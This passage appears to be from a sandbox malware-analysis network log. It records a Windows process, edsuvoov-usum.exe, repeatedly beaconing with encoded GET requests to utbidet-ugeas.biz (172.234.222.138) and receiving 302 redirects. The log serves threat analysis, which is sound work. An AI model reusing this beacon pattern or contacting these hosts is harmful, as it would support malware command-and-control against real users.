Sep 7, 2024 15:36:07.698057890 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:36:07 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02DFBDD99DD8BDD99DEDBDF19DDFBD574E4B8571C7DEBD1935DDBEEFB3ED93E0AFEF8DF79D Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.3	61500	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:36:07.895905972 CEST	169	OUT	GET /d/N?028C8677478B867747BE865F478C86F99418BEDF1D8D86B7EF8E854169BEA84E75BCB65947 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:36:08.384515047 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:36:08 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?028C8677478B867747BE865F478C86F99418BEDF1D8D86B7EF8E854169BEA84E75BCB65947 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.3	61501	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:36:08.390729904 CEST	201	OUT	GET /d/N?028C8677478B867747BE865F478C86F99418BEDF1D8D86B7EF8E854169BEA84E75BCB65947 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:36:08.904094934 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:36:08 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?028C8677478B867747BE865F478C86F99418BEDF1D8D86B7EF8E854169BEA84E75BCB65947 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.3	61503	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:36:09.366636992 CEST	169	OUT	GET /d/N?023563DBDB3263DBDB0763F3DB35635508A15B738134631B733760EDF5074DE2E90553F5DB HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:36:09.848073959 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:36:09 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?023563DBDB3263DBDB0763F3DB35635508A15B738134631B733760EDF5074DE2E90553F5DB Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.3	61504	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:36:09.856163979 CEST	201	OUT	GET /d/N?023563DBDB3263DBDB0763F3DB35635508A15B738134631B733760EDF5074DE2E90553F5DB HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:36:10.350342035 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:36:10 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?023563DBDB3263DBDB0763F3DB35635508A15B738134631B733760EDF5074DE2E90553F5DB Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.3	61506	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:36:11.116689920 CEST	169	OUT	GET /d/N?02AA0963E6AD0963E698094BE6AA09ED353E31CBBCAB09A34EA80A55C898275AD49A394DE6 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:36:11.598535061 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:36:11 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02AA0963E6AD0963E698094BE6AA09ED353E31CBBCAB09A34EA80A55C898275AD49A394DE6 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.3	61507	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:36:11.626349926 CEST	201	OUT	GET /d/N?02AA0963E6AD0963E698094BE6AA09ED353E31CBBCAB09A34EA80A55C898275AD49A394DE6 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:36:12.123244047 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:36:12 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02AA0963E6AD0963E698094BE6AA09ED353E31CBBCAB09A34EA80A55C898275AD49A394DE6 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.3	61509	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:36:13.004276991 CEST	169	OUT	GET /d/N?022E17715D2917715D1C17595D2E17FF8EBA2FD9072F17B1F52C1447731C39486F1E275F5D HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:36:13.500818014 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:36:13 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?022E17715D2917715D1C17595D2E17FF8EBA2FD9072F17B1F52C1447731C39486F1E275F5D Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.3	61510	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:36:13.510247946 CEST	201	OUT	GET /d/N?022E17715D2917715D1C17595D2E17FF8EBA2FD9072F17B1F52C1447731C39486F1E275F5D HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:36:14.014981985 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:36:13 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?022E17715D2917715D1C17595D2E17FF8EBA2FD9072F17B1F52C1447731C39486F1E275F5D Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.3	61512	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:36:14.938307047 CEST	169	OUT	GET /d/N?027A06F3CB7D06F3CB4806DBCB7A067D18EE3E5B917B0633637805C5E54828CAF94A36DDCB HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:36:15.422403097 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:36:15 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?027A06F3CB7D06F3CB4806DBCB7A067D18EE3E5B917B0633637805C5E54828CAF94A36DDCB Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.3	61513	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:36:15.456192970 CEST	201	OUT	GET /d/N?027A06F3CB7D06F3CB4806DBCB7A067D18EE3E5B917B0633637805C5E54828CAF94A36DDCB HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:36:15.961560965 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:36:15 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?027A06F3CB7D06F3CB4806DBCB7A067D18EE3E5B917B0633637805C5E54828CAF94A36DDCB Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.3	61515	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:36:19.900356054 CEST	169	OUT	GET /d/N?0266CF5C6661CF5C6654CF746666CFD2B5F2F7F43C67CF9CCE64CC6A4854E1655456FF7266 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:36:20.403390884 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:36:20 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0266CF5C6661CF5C6654CF746666CFD2B5F2F7F43C67CF9CCE64CC6A4854E1655456FF7266 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.3	61516	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:36:20.424276114 CEST	201	OUT	GET /d/N?0266CF5C6661CF5C6654CF746666CFD2B5F2F7F43C67CF9CCE64CC6A4854E1655456FF7266 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:36:20.931518078 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:36:20 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0266CF5C6661CF5C6654CF746666CFD2B5F2F7F43C67CF9CCE64CC6A4854E1655456FF7266 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.3	61518	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:36:21.632625103 CEST	169	OUT	GET /d/N?0292F796E195F796E1A0F7BEE192F7183206CF3EBB93F7564990F4A0CFA0D9AFD3A2C7B8E1 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:36:22.261085987 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:36:22 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0292F796E195F796E1A0F7BEE192F7183206CF3EBB93F7564990F4A0CFA0D9AFD3A2C7B8E1 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.3	61519	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:36:22.319037914 CEST	201	OUT	GET /d/N?0292F796E195F796E1A0F7BEE192F7183206CF3EBB93F7564990F4A0CFA0D9AFD3A2C7B8E1 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:36:22.805072069 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:36:22 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0292F796E195F796E1A0F7BEE192F7183206CF3EBB93F7564990F4A0CFA0D9AFD3A2C7B8E1 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.3	61521	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:36:22.960393906 CEST	169	OUT	GET /d/N?025868AC8A5F68AC8A6A68848A58682259CC5004D059686C225A6B9AA46A4695B86858828A HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:36:23.452869892 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:36:23 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?025868AC8A5F68AC8A6A68848A58682259CC5004D059686C225A6B9AA46A4695B86858828A Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.3	61522	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:36:23.458837986 CEST	201	OUT	GET /d/N?025868AC8A5F68AC8A6A68848A58682259CC5004D059686C225A6B9AA46A4695B86858828A HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
